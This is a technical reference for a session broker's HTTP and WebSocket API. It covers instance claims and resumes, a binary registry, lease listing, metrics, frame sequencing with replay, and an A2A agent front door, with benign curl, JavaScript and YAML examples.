Omitting binary means nexus, the entry every broker is guaranteed to have, so a client written before the registry existed keeps getting exactly what it got before. The field is trimmed of surrounding whitespace, the same way entry names are trimmed at load, so the two always agree. On a resume this changes: omitting binary alongside a session_id means the entry that created the session, not nexus — see A resume re-uses the binary that created the session.

An unknown name returns 400 naming the rejected value and listing the entries this broker actually has — never a silent fallback to nexus. The check runs before the claim allocates anything, so a typo consumes no lease, no capacity slot, no temp config file, and spawns no process. To pick a name that is certainly valid on this broker, read GET /binaries first.

The entry’s args are appended after the broker’s own -config / -recall arguments, and its env is layered under the broker-owned NEXUS_BROKER_* variables — an entry can extend a spawn but never redirect it at another broker or supply its own spawn secret. The spawned instance carries only the always-pass set, whatever inherit_env declares, the entry’s env and the NEXUS_BROKER_* trio — see What environment an instance is given.

New vs. resume

  • New session — omit session_id. The engine generates a fresh session id and the instance reports it back; the broker returns it in the response. Capture that id if you want to resume the session later.
  • Resume — set session_id to a previously returned id. The broker spawns the instance with -recall <id>, so the engine reloads that session from ~/.nexus/sessions/<id>/ and replays its history. The response echoes the requested id.

Resuming a session id that does not exist on disk makes the engine fail to boot; the instance never signals ready and the claim returns 502 rather than silently starting a new session.

A resume re-uses the binary that created the session

A session directory is engine state written by one particular build, and replaying it under a different variant does not fail loudly: the engine boots, the transcript loads, and the session simply behaves as though capabilities it once had have vanished. The claim is the last point at which that mistake is still attributable, so the broker records which binaries: entry ran each session — the entry name, never a path — and reconciles a resume against it.

Recording happens only when state_dir is configured, in two places:

  • the lease journal stamps the entry name on the lease record, so leases.jsonl says which variant a live lease is running;
  • the session → binary index, session-binaries.jsonl, keeps the pairing after the lease is gone. This is the one a resume actually consults, because a resume always arrives after the original lease was released and the journal is compacted down to live leases. The broker checks live leases first and falls back to the index.

On a claim that carries a session_id:

You sendRecorded bindingWhat happens
no binaryvisionSpawns vision — the recorded entry is inherited with its path, its args and its env. Not the reserved nexus.
"binary": "vision"visionProceeds normally.
"binary": "nexus"vision409, naming both the recorded entry and the one you asked for.
anythingnone recordedFalls through — spawns what you asked for, or nexus if you asked for nothing. No error.
no binarynocturne, no longer in binaries:409 naming the missing entry, so it can be restored. Deliberately not a silent fallback to nexus.

A binary that is empty or only whitespace counts as omitted. An unknown name is still a 400, not a 409, even on a bound session — a typo is reported as a typo, and only the 400 lists the entries this broker actually has. Every rejection happens before anything is allocated: no lease, no capacity slot, no place in the queue, no temp config file, and no process.

The exact error strings and the reasoning behind 409 over 400/500 are in Resume inherits the recorded binary.

The 409 is best-effort, not an invariant

Do not build a client that relies on the mismatch check catching every mistake. An unrecorded session is no opinion, proceed — never a mismatch — so a resume runs completely unchecked whenever the binding is missing. Concretely, nothing is checked when:

  • the broker has no state_dir. Nothing is recorded durably, so once the original lease is gone so is the pairing — which is every resume, since a resume by definition follows a release.
  • the binding was evicted. The index holds at most 4096 pairings and drops the oldest first, so a session resumed after a lot of other traffic can find its binding gone.
  • the session predates the feature, or was created against a different broker — no broker reads another’s index.

In all three the claim proceeds silently under whatever binary it asked for. The check is a safety net over the common mistake, not a guarantee about what a session directory is replayed under.

The recommended client pattern is therefore: capture session_id and the binary you claimed with, and send both back on resume. That way the correct variant is selected by your own request rather than by a broker-side record that may not exist:

# 1. claim, remembering BOTH values
claim=$(curl -s -X POST http://localhost:8080/claim \
  -H 'Content-Type: application/json' \
  -d '{"config":"engine:\n  name: example\n","binary":"vision"}')
session_id=$(printf '%s' "$claim" | jq -r .session_id)
binary=vision                      # persist this next to the session id

# 2. resume, restating the binary you recorded
curl -s -X POST http://localhost:8080/claim \
  -H 'Content-Type: application/json' \
  -d "{\"config\":\"engine:\n  name: example\n\",\"session_id\":\"$session_id\",\"binary\":\"$binary\"}"

Restating a matching binary costs nothing when the broker also has the binding (the claim simply proceeds), and it is the only thing that keeps the resume correct when the broker does not.

POST /release/{lease_id} — release an instance

Gracefully tears a live instance down: the broker sends a shutdown frame, the instance’s nexus.io.broker plugin emits io.session.end, and the engine performs a clean Stop that flushes and persists the session before exit. The session directory under ~/.nexus/sessions/<id>/ is left intact and remains resumable via -recall.

The frame is only the first step, because it travels over the dial-back socket and teardown has to be correct when that socket is gone. If the process has not exited within release_grace, the broker escalates:

StepWhatWhy
1shutdown frame over the instance WSThe instance shuts its own engine down and reports back. Requires a live socket.
2SIGTERM to the instance’s process group, at the release_grace boundaryThe engine treats SIGTERM as a clean shutdown, so this still flushes and persists. It needs nothing from the instance — a wedged instance, or one mid reconnect-backoff, never saw step 1.
3SIGKILL to the same group, a fixed 2s laterOrphan prevention. Not configurable: release_grace is the shutdown budget and has already elapsed.

Both signals target the process group, not just the instance process. Every instance is made the leader of its own process group at spawn, so everything it started — shell-tool commands, MCP stdio servers, code interpreters — is torn down with it rather than surviving, re-parented to init, holding the session’s files and the operator’s API budget with nothing tracking it.

The same escalation is what reaps an adopted instance after a restart (it has no socket by construction, so it starts at step 2), which is why the two paths share one SIGTERMSIGKILL window.

A dying instance does not lose what it already said

Teardown is ordered on the socket, not on the process. Every path that reacts to an instance going away — the crash watcher, a release, the idle sweeper — wakes on the instance process being reaped, and that signal says nothing about the instance’s frames: the bytes it wrote on its way out are sitting in a socket buffer the broker has not read yet. The EOF is the event that is ordered after the last frame.

So before a teardown closes an instance connection, and before it settles any A2A task attached to that lease, it waits for the broker’s own instance read pump to finish draining. Because the process is already gone, the far end of the socket is already closed and the wait is normally microseconds; it is bounded by a fixed 2s drain grace for the pathological half-open socket, and exceeding that logs a WARN naming the lease.

What this buys is the difference between an honest failure and a lost answer. An instance that publishes its output and status: idle and then exits at once — a oneshot IO profile, a plugin calling os.Exit, an OOM kill landing just after the answer — settles TASK_STATE_COMPLETED with its answer, not TASK_STATE_FAILED with nothing. An instance that dies without answering still fails, still frees its slot, and still closes its client with the 4500 instance crashed status.

curl -s -X POST http://localhost:8080/release/lease-abc123
# {"status":"released","lease_id":"lease-abc123"}
OutcomeStatusBody
Released (graceful or killed)200{"status":"released","lease_id":"…"}
Unknown / already-released lease404{"error":"unknown lease"}
Missing lease id in path400{"error":"release requires a lease id"}

Release is idempotent: releasing an already-gone lease returns 404 rather than erroring, and concurrent releases of the same lease collapse to one teardown.

POST /ticket/{lease_id} — mint a fresh WebSocket ticket

Only relevant when the broker is configured with an auth: block. A browser cannot put an Authorization header on a WebSocket handshake, so a claim hands back a single-use, 30-second ticket bound to that lease and to the claiming principal. Because the window is deliberately tight, a reconnect needs a fresh one — that is what this route is for; re-claiming would spawn a new instance and abandon the live session.

curl -s -X POST http://localhost:8080/ticket/lease-abc123 \
  -H 'Authorization: Bearer <the token the lease was claimed with>'
# {"lease_id":"lease-abc123","ticket":"…"}
OutcomeStatusBody
Ticket issued200{"lease_id":"…","ticket":"…"}
Unknown, already-released, or another principal’s lease404{"error":"unknown lease"} (identical in all three cases, so live lease ids cannot be enumerated)
Missing lease id in path400{"error":"ticket requires a lease id"}

Tickets are in-memory only — they do not survive a broker restart — and every ticket for a lease is destroyed the moment the lease goes away, whether by POST /release, idle reaping, or a crash. With no auth: block the route is inert: it answers 200 with the ticket key omitted, and the lease socket keeps accepting a connection with no ticket at all. Full detail, including why the TTL is not configurable, is in the configuration reference.

GET /leases — list live instances

A read-only introspection surface, sorted by created_at then lease_id. It performs no mutation.

What comes back depends on who is asking. A caller holding auth.admin_scope — and every caller when auth is disabled — gets the operator shape: every live lease plus the capacity and queue aggregates. Any other authenticated caller gets only its own leases, with the aggregates omitted.

curl -s http://localhost:8080/leases -H 'Authorization: Bearer <token>'

Operator shape:

{
  "max_concurrent": 8,     // configured cap (0 = unlimited)
  "slots_in_use": 2,       // live instances currently holding a slot
  "queue_depth": 0,        // claims parked in the FIFO capacity wait queue
  "max_queue_depth": 32,   // configured ceiling on that queue (0 = unlimited)
  "leases": [
    {
      "lease_id": "lease-abc123",
      "session_id": "…",
      "pid": 41234,
      "state": "active",           // "spawning" | "active" | "draining"
      "binary": "vision",           // binary registry entry NAME; "" = not recorded
      "reason": "",                 // teardown reason once draining (e.g. "manual release", "idle")
      "last_activity": "2026-06-25T12:00:00Z",
      "created_at": "2026-06-25T11:59:30Z"
    }
  ]
}

Caller-scoped shape — same lease objects, same ordering, no aggregate keys at all:

{
  "leases": [
    {
      "lease_id": "lease-abc123",
      "session_id": "…",
      "pid": 41234,
      "state": "active",
      "binary": "vision",
      "last_activity": "2026-06-25T12:00:00Z",
      "created_at": "2026-06-25T11:59:30Z"
    }
  ]
}

The aggregates are absent, not zeroed — read a missing max_concurrent, slots_in_use, queue_depth or max_queue_depth as “not disclosed to you”, never as 0. A caller that owns no live lease gets 200 with {"leases": []}, never a 404.

max_queue_depth sits beside queue_depth because the depth alone cannot be read: a queue 12 deep is either a busy broker or one about to start refusing claims with capacity queue full, and only the configured bound tells them apart.

binary answers “which build is this lease running”. With several variants behind one broker that question used to be answerable only by grepping the claim log. It is the registry entry name, never a path, so it discloses nothing GET /binaries does not already list, and it appears in both shapes above.

An empty binary means “not recorded” — typically a lease restored from the journal of a broker that predates the field. It never means “the entry named empty string”, which cannot exist. Unlike session_id and reason, the key is emitted even when empty, precisely so a client can tell “not recorded” from “this broker is too old to report it”.

Lease states:

StateMeaning
spawningThe lease exists but its instance has not yet dialed back and registered — the claim is still booting an engine.
activeThe instance has registered; frames can flow.
drainingA teardown (manual release, idle, or crash) has latched; the lease is on its way out.

GET /binaries — list the spawnable binaries

A read-only listing of this broker’s binary registry, so a client can build a picker — or check a name it has configured — from live broker truth rather than from entries hardcoded against a broker that may not have them. It performs no mutation and reads nothing from the request.

curl -s http://localhost:8080/binaries -H 'Authorization: Bearer <token>'
// 200 — entries sorted by name, ascending
{
  "binaries": [
    { "name": "archive", "label": "Nexus 0.9" },
    { "name": "nexus" },
    {
      "name": "vision",
      "label": "Nexus (vision)",
      "description": "Multimodal build with the image tools compiled in"
    }
  ]
}
  • name is the registry key, and the exact string to send back as a claim’s binary. Always present.
  • label and description are the operator’s presentational strings. They are omitted, not empty, when none was set — so a client can tell “the operator wrote nothing” from “the operator wrote an empty string” — and a consumer with no label falls back to name.
  • binaries is always present and never null; the empty case is {"binaries": []}, so a client can iterate it unconditionally. In practice it always holds at least the reserved nexus entry, which every broker can spawn.
  • Ordering is by name, ascending. It does not change between requests and does not differ between callers, so a picker built from it never reshuffles.
  • The listing follows a SIGHUP reload: an entry an operator adds or removes appears or disappears here without a restart.

The response is an object, not a bare array. Decode it into a struct with a binaries field rather than into a list: the envelope leaves room for a broker-wide fact later — a default-binary hint, a schema version — to arrive as a sibling key that a client ignoring unknown keys never notices. Per-field types are in the GET /binaries reference, which is authoritative.

path, args and env are deliberately not returned, nor is the absolute path the broker resolved for the entry at boot. They are broker-host detail — build locations, deployment flags, per-variant environment — that a claiming client has no use for and every reason not to learn. A client picks a name; what that name runs stays the broker’s business.

Authentication is exactly POST /claim’s, because it is exactly the same middleware. With an auth: block configured, a missing credential is refused 401 authentication required and an invalid one 401 credential rejected; a valid one gets the list. With no auth: block the route serves an unauthenticated caller, just as /claim does — a supported deployment, not a degraded one. A caller that may not claim has no business enumerating what it cannot spawn.

The listing is not filtered per principal. Every authenticated caller sees every entry and may claim any of them. There is no per-entry visibility rule and no per-entry authorization anywhere in the broker.

That is a known gap, deferred by decision rather than overlooked: an entry name is not a secret (naming a wrong one is already a 400 from POST /claim that lists the alternatives), and a filter would need a per-entry authorization model that no config key describes today — building one here would put the policy in the listing handler instead of next to the model that should own it. Until such a model exists, the way to make a variant reachable by only some callers is a separate broker with its own binaries: block and its own auth: chain. See also What the registry deliberately does not do and the v1 caveats.

Discover, then claim

The intended client flow is two calls: read the registry, pick a name out of it, then send that name back as binary alongside the config to run.

broker=http://localhost:8080
auth='Authorization: Bearer <token>'    # drop the -H below when the broker has no `auth:` block

# 1. discover what this broker offers (label falls back to name)
curl -s "$broker/binaries" -H "$auth" \
  | jq -r '.binaries[] | "\(.name)\t\(.label // .name)"'
# archive   Nexus 0.9
# nexus     nexus
# vision    Nexus (vision)

# 2. pick a name from that listing
binary=vision

# 3. claim it, passing the engine config to run
claim=$(curl -s -X POST "$broker/claim" \
  -H 'Content-Type: application/json' -H "$auth" \
  -d "{\"config\":\"engine:\n  name: example\n\",\"binary\":\"$binary\"}")

lease_id=$(printf '%s' "$claim" | jq -r .lease_id)
ws_url=$(printf '%s' "$claim" | jq -r .ws_url)
session_id=$(printf '%s' "$claim" | jq -r .session_id)

Then open ws_url as in Connecting over WebSocket. Persist session_id and $binary together if you mean to resume later: a resume should restate the binary it was claimed with, because the broker’s own record of that pairing is best-effort — see The 409 is best-effort, not an invariant.

Prefer discovering per run over caching the names. The registry is read once at broker startup and can only change across a restart, so a client holding names from an earlier session may be holding entries this broker no longer offers — which surfaces as a 400 on the claim, after the user has already chosen.

GET /metrics — scrape the broker

The broker’s Prometheus scrape surface, in the standard text exposition format. It mutates nothing and takes no parameters, and there is no config key for it — the route is always mounted.

curl -s http://localhost:8080/metrics -H 'Authorization: Bearer <operator-token>'
# HELP nexus_broker_claims_total Instance claims handled by the shared spawn spine, by outcome. …
# TYPE nexus_broker_claims_total counter
nexus_broker_claims_total{outcome="accepted"} 148
nexus_broker_claims_total{outcome="no_capacity"} 3
…
# HELP nexus_broker_slots_in_use Capacity slots currently held: one per live lease.
# TYPE nexus_broker_slots_in_use gauge
nexus_broker_slots_in_use 2

It needs auth.admin_scope, not merely a valid credential. The route sits behind the same middleware as POST /claim — so with an auth: block a missing or invalid credential is a 401 — and then requires the operator scope on top, answering 403 {"error":"insufficient scope"} to an authenticated caller without it. Every number here is a whole-registry aggregate, which is exactly the disclosure GET /leases already reserves for an operator. Setting admin_scope: "" therefore refuses everyone.

With no auth: block it serves anyone, exactly as every other route on this binary does — the same caller can already read the whole registry from GET /leases.

The metric names are a stable surface

Treat them as API. All are namespaced nexus_broker_:

MetricTypeLabels
nexus_broker_claims_totalcounteroutcome
nexus_broker_claim_duration_secondshistogram
nexus_broker_spawn_failures_totalcounterreason
nexus_broker_frames_dropped_totalcounterreason
nexus_broker_replay_gaps_totalcounterreason
nexus_broker_client_evictions_totalcounter
nexus_broker_config_reloads_totalcounteroutcome
nexus_broker_restored_leases_totalcounteroutcome
nexus_broker_slots_in_usegauge
nexus_broker_max_concurrentgauge
nexus_broker_queue_depthgauge
nexus_broker_max_queue_depthgauge
nexus_broker_leasesgaugestate
nexus_broker_tickets_outstandinggauge

Every label value comes from a fixed set — the full lists are in the GET /metrics reference. Nothing is ever labelled by lease id, principal, session id or binary path. That bound is deliberate and structural: one unbounded label would turn a scrape into an unbounded series set, which is a memory leak in the monitoring system rather than in the broker.

Because the label sets are fixed, every declared series is present at 0 from the first scrape. An alert on rate(nexus_broker_spawn_failures_total[5m]) can therefore be written before the broker has ever failed a spawn, rather than waiting for the series to appear.

What to watch

QuestionQuery
Are we about to start refusing claims?nexus_broker_slots_in_use / nexus_broker_max_concurrent, and nexus_broker_queue_depth / nexus_broker_max_queue_depth
Is a deploy broken?rate(nexus_broker_spawn_failures_total[5m]), broken out by reason
Are clients losing output?rate(nexus_broker_frames_dropped_total[5m]) and rate(nexus_broker_replay_gaps_total[5m]) — a replay_gaps reason="evicted" means client_replay_buffer_bytes is too small for the reconnect windows in practice
Did the last SIGHUP take?nexus_broker_config_reloads_total{outcome="rejected"}
Did a restart cost any sessions?nexus_broker_restored_leases_total{outcome="reaped"} against {outcome="reattached"}
How long is a claim taking?histogram_quantile(0.95, rate(nexus_broker_claim_duration_seconds_bucket[5m])), against the configured ready_timeout

The three capacity refusals all answer HTTP 503 and are three different label values on purpose: no_capacity says raise max_concurrent, queue_timeout says raise queue_wait_timeout, queue_full says raise max_queue_depth. A dashboard grouping by status code cannot tell them apart.

Counters are process-lifetime and reset on restart, as Prometheus counters are expected to. Gauges are read from live registry state at scrape time — the same counters capacity accounting and GET /leases already use — so they cannot drift from what the broker actually holds.

The exposition is hand-rolled from the stdlib. The broker takes no client library for it, in line with the rest of the codebase.

Connecting over WebSocket

After a successful claim, open the returned ws_url and exchange IO frames. A minimal browser sketch, carrying the ticket the claim returned:

const auth = { Authorization: "Bearer <token>" };   // omit when auth is disabled

const { lease_id, ws_url, ticket } = await (await fetch("http://localhost:8080/claim", {
  method: "POST",
  headers: { "Content-Type": "application/json", ...auth },
  body: JSON.stringify({ config: "engine:\n  name: example\n" }),
})).json();

// `ticket` is present only when the broker is configured with an `auth:` block.
const url = ticket ? `${ws_url}?ticket=${encodeURIComponent(ticket)}` : ws_url;

const ws = new WebSocket(url);
ws.onmessage = (e) => console.log("frame:", e.data);
ws.onopen = () => {
  // send a user input message into the instance
  ws.send(JSON.stringify({ type: "input", content: "hello" }));
};

// reconnecting later? the ticket is single-use and 30s-lived — mint a fresh one
// rather than re-claiming, which would spawn a NEW instance — and send the
// highest seq you received as ?from_seq= so the broker replays what you missed.
// const { ticket: next } = await (await fetch(
//   `http://localhost:8080/ticket/${lease_id}`, { method: "POST", headers: auth })).json();
// new WebSocket(`${ws_url}?ticket=${encodeURIComponent(next)}&from_seq=${lastSeq}`);
// a "stream-gap" frame on the new socket means the buffer could not cover you:
// it names the missing range, and handling it is the client's job.

// later: release the instance (the session persists on disk)
await fetch(`http://localhost:8080/release/${lease_id}`, { method: "POST", headers: auth });

A client that can set request headers — Go, a CLI, anything that is not a browser — may skip tickets and send Authorization: Bearer <token> on the handshake instead.

The IO message shapes carried inside broker frames (output, stream.delta, input, approval.response, …) are documented on the nexus.io.broker plugin page.

Frame sequencing and the replay buffer

Every frame the broker sends a client carries a sequence number: seq, a per-lease counter that starts at 1 and increments by exactly one for every frame, whatever its signal.

{"version":1,"lease_id":"a1b2…","signal":"io","seq":42,"payload":{"type":"stream.delta","content":"…"}}

It exists because the gateway has two places where a client-bound frame can fail to reach its socket — no client is attached, and an attached client whose send queue is full — and before sequencing both of them logged and continued. A client had no way to tell that it had lost anything, which for a streaming agent is the worst shape of failure: it silently corrupts what the user believes the agent said. A gap in seq makes that loss visible.

Track the sequence and treat a jump as an error. A client that sees seq advance by more than one has missed output and should say so rather than render the remainder as if it were complete.

Alongside the sequence, each lease keeps a replay buffer: the encoded bytes of the frames it has already sent, bounded by client_replay_buffer_bytes (1 MiB by default) and evicted oldest first. Both loss paths retain the frame rather than discarding it, so a missed range is not only detectable but recoverable.

Four properties are worth stating plainly:

  • Only client-bound frames are sequenced. Frames flowing client → instance carry no seq and are not buffered. The broker assigns the number, so an instance needs no protocol awareness and nothing on the dial-back side changed.
  • The bound is in bytes, not frames. A client-bound payload runs from a few-byte token delta to a hundred-kilobyte tool result, so a frame count would say nothing about how much memory a lease can pin. Worst-case retention across the whole broker is client_replay_buffer_bytes × max_concurrent — 8 MiB at both defaults. Set max_concurrent: 0 (unlimited) and that product is unbounded too, so size the two together.
  • The buffer is in-memory and dies with the lease. Nothing about it is journaled: state_dir does not persist it, releasing a lease frees it immediately, and a broker restart does not preserve it. A lease restored from the journal after a restart starts a fresh stream — its sequence begins again at 1 with an empty buffer, which is itself the signal to a reconnecting client that its stream did not survive.
  • seq is additive on the wire. It is omitted when zero, so a peer built against an older broker decodes a sequenced frame cleanly and ignores the key. Adding it needed no brokerframe version bump.

Setting client_replay_buffer_bytes: 0 disables retention while leaving sequencing intact — loss stays visible to the client, but the broker keeps nothing to replay with.

Resuming from the buffer

The buffer is reached with ?from_seq=<n> on the client socket:

ws://localhost:8080/lease/lease-abc123?ticket=<value>&from_seq=41

n is the highest seq the client received. The broker replays every retained frame after it, oldest first, and only then continues with the live stream — replayed frames always precede live ones, whatever else is in flight when the socket opens. ?from_seq=0 means “I have seen nothing”: it replays everything the buffer still holds, which is not the same as omitting the parameter (that asks for the live stream only).

It is a query parameter for the same reason ?ticket= is one — a browser cannot set headers on a WebSocket handshake, and the first frame a client sends is already routed straight through to the instance, so there is no control frame to carry it in. The two parameters compose and ?from_seq= is not a credential: it never widens what a caller may connect to, and ownership is checked exactly as it is without it.

The replay is not capped by the connection’s 256-frame send queue — it is written ahead of it — so a full megabyte of buffered token deltas replays intact.

When the buffer cannot cover you

If the frames right after from_seq have already been evicted, the socket opens with a stream-gap frame before anything else:

{"version":1,"lease_id":"a1b2…","signal":"stream-gap",
 "payload":{"reason":"evicted","requested_from_seq":41,"missing_from_seq":42,"missing_through_seq":118}}
  • missing_from_seqmissing_through_seq are the inclusive bounds of what the broker can no longer supply. The frames it can still supply follow immediately, then the live stream.
  • reason is evicted — the frames aged out of a bounded buffer — or restarted, which means from_seq is ahead of this lease’s stream. That is the restart case: a lease restored from the journal renumbers from 1, so the client’s position belongs to a stream that no longer exists. Its old numbering is void; the broker replays everything it now holds and the missing-range fields are omitted, because none can be named.
  • The gap frame carries no seq. It describes one connection, not the lease’s frame stream, so numbering it would make the stream’s sequence depend on how often a client dropped.

Treat a gap as a normal outcome and handle it. It is what a disconnection longer than the buffer produces, and the client is the only party that can decide what to do: re-render from its own transcript, tell the user output is missing, or start a fresh view. Ignoring it puts you back where the sequence was introduced to stop you being — rendering a hole as continuous output.

Adding stream-gap needed no brokerframe version bump, for the same reason seq did not: the broker only ever emits it to a client that asked for a resume, so nothing built against an older broker can be handed a signal it cannot decode.

One client per lease: the newest connection wins

A lease carries exactly one client connection, and opening a second one does not multiplex the stream: it displaces the first. The older socket is closed at once with close code 4501, and everything from that moment — replayed frames and live ones alike — goes to the new connection.

A client must never keep two connections open to one lease. They will evict each other in a loop, and neither will see a whole stream. If you are unsure whether your previous socket is really gone, just reconnect: displacing it is the supported outcome, and it is what the reconnect recipe above relies on.

The newest connection wins rather than the oldest on purpose. A half-open socket — a slept laptop, a moved network, a dropped NAT flow — still looks attached from the broker’s side until something writes to it, and the client always notices its own dead connection long before the broker’s liveness probe does. Refusing the second connection, which is what the broker used to do, therefore made the lease unreachable in exactly the situation the fresh-ticket reconnect exists for: the genuine owner, correctly authenticated, turned away on behalf of a socket with no peer.

Two things bound that power:

  • Only the lease’s owner can displace it. Ownership is checked before the upgrade, so a caller who does not own the lease gets the same 404 {"error":"unknown lease"} an unknown lease gets and evicts nothing. Eviction is never reachable across tenants.
  • It composes with ?from_seq=. The displacing connection is a normal attach: it is replayed the tail it names, gap notice and all, before the live stream resumes. Eviction does not bypass the replay cursor.

Every eviction is recorded in the broker log with the lease id, the principal that caused it and the close reason, so a client stuck in a reconnect war is visible from the operator’s side rather than only from the user’s.

Client close codes

The broker uses the RFC 6455 application range (4000-4999) for the two teardowns where the difference changes what a client should do next. Everything else — a manual release, an idle reap, a shutdown — closes with an ordinary going-away.

Close codeReason textWhat happenedWhat the client should do
1001lease closedThe lease was released, idle-reaped, or the broker is shutting down.The session is over. Claim a new lease if the user wants another.
4500instance crashedThe instance process exited unexpectedly.The session is gone — do not reconnect to this lease. Claim a new one.
4501superseded by a newer client connectionAnother socket attached to this lease and took over.The lease is alive and streaming somewhere else. Do not reconnect in a loop; usually this connection is the one that has been replaced by your own newer tab or retry.

Detecting a dead socket

A TCP connection can die without either end being told. A laptop that sleeps, a phone that moves from Wi-Fi to cellular, a NAT table that ages out an idle flow — in every case the socket stays open on the far end’s books, writes are still accepted into a send queue, and nothing surfaces until the OS keepalive eventually notices, which on a default configuration is on the order of hours. Until then the broker believes a lease has a peer that is never going to read another byte.

So both frame pumps probe their peer, in both directions:

  • The broker pings each attached client and each attached instance every 15 seconds.
  • The instance’s dial-back client pings the broker on the same cadence.
  • A peer that answers nothing for 45 seconds — three consecutive probes — has its socket torn down. On the broker side that detaches the connection from the lease (the lease itself survives, so a client can reconnect and resume); on the instance side it drops the dial-back socket and redials with the usual backoff, with buffered output intact.

The deadline is three times the interval on purpose. One unanswered ping proves very little — a stop-the-world GC pause, a saturated uplink, a starved process — and a deadline set at or just above the interval would turn each of those into a dropped connection. Requiring sustained silence across three independent probes is what makes the signal worth acting on.

Two things follow that are easy to get wrong:

  • This is not idle reaping, and it never reaps an idle session. The probe is a WebSocket ping, answered by the peer’s WebSocket stack whether or not there is a human at the far end. A session sitting untouched overnight with no user input answers every one of them and survives indefinitely. Releasing genuinely idle leases is a separate policy, owned by idle_timeout — which is driven by real client → instance input and by the instance’s own turn boundaries, never by a ping. A ping detects a dead socket; turn liveness detects a live turn; reading either as the other reaps healthy sessions.
  • It is not part of the frame protocol. Ping and pong are RFC 6455 control frames, not brokerframe signals, so there is no new signal, no version bump, and nothing a client has to implement: any conformant WebSocket client already answers. There is no configuration key either — the interval and deadline are constants.

The unresponsive-peer teardown skips the WebSocket close handshake. A graceful close writes a close frame and then waits up to five seconds for the peer to echo it, which against a peer that has already stopped answering is five seconds of the lease still believing it has a socket — exactly the bounded detection the probe exists to provide. A peer torn down this way sees an abnormal closure, which is the honest description of what happened to it.

The A2A front door (agents:)

Everything above assumes a Nexus-aware client: POST /claim requires the full nexus config as inline YAML, so the caller must know Nexus exists and which plugins to activate. A third-party A2A client knows none of that.

The agents: block is the answer. Each profile binds a nexus config, a binary registry entry and an Agent Card under one name, and publishes that name’s A2A endpoints. The client names an agent by URL; the operator decided long ago what running it means.

# broker.yaml
advertise_addr: "https://broker.example"    # the origin the agent cards advertise
state_dir: "~/.nexus/broker"                # needed for continuity across a restart

agents:
  support:
    binary: nexus                           # optional; omitted means the reserved `nexus` entry
    config: "~/agents/support.yaml"         # the nexus config instances of this profile boot with
    card:
      name: "Support Agent"
      description: "Answers customer questions from the product knowledge base."
      version: "1.2.0"
      skills:
        - id: "answer"
          name: "Answer questions"
          description: "Answers a customer question and cites its sources."

a2a:                                        # optional; every value below is the default
  tasks:
    ttl: "24h"                              # how long a finished task stays readable
    max_per_context: 50                     # tasks kept per (caller, conversation)
    input_timeout: "15m"                    # how long a question may wait on a human

The a2a: block is not per profile, deliberately: the task store is one file with one retention policy for the whole broker, so hanging its knobs off each profile would invite four different retentions for one file. Its keys and their meanings are nexus.io.a2a’s, so an operator who has configured the standalone listener already knows them — see Reading tasks back and Two messages on one conversation queue for what each one actually governs.

That publishes three routes, namespaced under the profile name so profiles cannot collide:

RoutePurpose
GET /agents/support/.well-known/agent-card.jsonThe profile’s Agent Card
POST /agents/support/a2aJSON-RPC 2.0 binding
/agents/support/a2a/v1/...HTTP+JSON (REST) binding
curl -s https://broker.example/agents/support/.well-known/agent-card.json \
  -H 'Authorization: Bearer <token>' | jq

Profiles are the unit of public identity: one card, one persona, one config. Two agents that should look different to the outside world are two profiles, not one profile with a switch.

Publishing a new agent does not need a restart. Add the profile and send a SIGHUP: every card is re-rendered and the whole set is swapped in one step, so no request can see one profile’s identity under another’s name. The one thing a reload cannot do is switch the ingress on — a broker that booted with no agents: block registered no A2A routes at all, so its first profile is a restart. See Changing config without a restart.

A few rules worth knowing before you write the block; the full key list is in the configuration reference.

  • A profile name is a URL path segment. Letters, digits, -, _ and . only. Names are compared with whitespace trimmed, so "support ": and support: collide and fail the boot.
  • An unknown binary fails startup, naming the alternatives — it does not fall back to the reserved nexus entry, for the same reason POST /claim answers 400 rather than quietly spawning the base binary for a caller that asked for a vision build.
  • A missing config file fails startup too, resolved and stat()ed at boot like every registry path, so a typo is caught at deploy time rather than by the first A2A request.
  • You author identity; the broker derives the rest. supportedInterfaces, capabilities and securitySchemes have no config keys: they describe what the broker actually serves, and an operator must not be able to state one that is false. In particular the card’s security schemes come from the broker’s own auth: chain, so a published card cannot advertise a credential the broker does not accept.
  • Set advertise_addr. A card must carry absolute URLs. With profiles configured and a wildcard bind (:8080) and no advertise_addr, the broker refuses to start rather than publish a URL no client can dial.
  • Every A2A route is behind the same auth: guard as /claim, the card included. A refusal is the broker’s usual {"error": "..."} envelope. This differs from the standalone nexus.io.a2a plugin, which serves its card unauthenticated: that one binds loopback, the broker is an ingress. Hand clients a credential out-of-band, which the specification’s “Direct Configuration” discovery path explicitly sanctions.

A broker with no agents: block is unchanged in every respect — no routes are registered, no card is built, and nothing new appears in the boot log. That also means the ingress cannot be switched on by a SIGHUP: adding agents: to the file of a broker that booted without it is reported and ignored like any other boot-only change. Adding, changing and removing profiles on a broker that already serves at least one all reload normally.

Current state. SendMessage, SendStreamingMessage, CancelTask, GetTask, ListTasks and SubscribeToTask are all driven end to end: a message starts (or resumes) a real isolated instance, the turn is translated back into A2A frames, and the task stays readable afterwards — see One conversation, one instance, What the A2A ingress translates and Reading tasks back below. The push-notification operations and GetExtendedAgentCard still answer a well-formed UnsupportedOperationError carrying detail: OPERATION_NOT_IMPLEMENTED, and the matching card capabilities are false.

One conversation, one instance (contextId)

An A2A client holds a contextId. The broker holds leases. The client never learns the second thing exists.

contextId ──(durable index)──▶ engine session id ──(the /claim spawn spine)──▶ lease

The middle term is what makes the trick work. A lease is mortal — it is released when a conversation goes quiet, it dies when its instance crashes — but an engine session is a directory on disk that outlives every process that opened it. So a message on a context whose instance has gone is not an error to report; it is a session to resume.

What the broker knows about the contextIdWhat the message does
Nothing — a new conversation, or a message with no contextId at all (one is minted)Spawns an instance with no -recall.
A live instanceGoes straight to it. History is what the running engine holds; nothing is replayed.
A live lease already running that context’s session, which this process lost track of (a broker restart with a surviving instance)Adopts it, rather than putting a second engine on one session directory.
A session with no live instance — idle-released, crashed, or a restartSpawns a new instance with -recall <session id> so the engine replays the history.

Nothing about any of that reaches the client. It sends a message and gets an answer. There is no claim, no lease id, no reconnect, and no “your session expired”.

# First message: this cold-spawns an isolated nexus instance.
curl -s https://broker.example/agents/support/a2a \
  -H 'Authorization: Bearer <token>' -H 'Content-Type: application/json' -d '{
    "jsonrpc":"2.0","id":1,"method":"SendMessage",
    "params":{"message":{"messageId":"m1","role":"ROLE_USER",
      "contextId":"conv-42","parts":[{"text":"How do I rotate my API key?"}]}}}'

# An hour later, after idle_timeout released the instance: same call, same
# contextId. The broker re-spawns with -recall and the conversation continues.

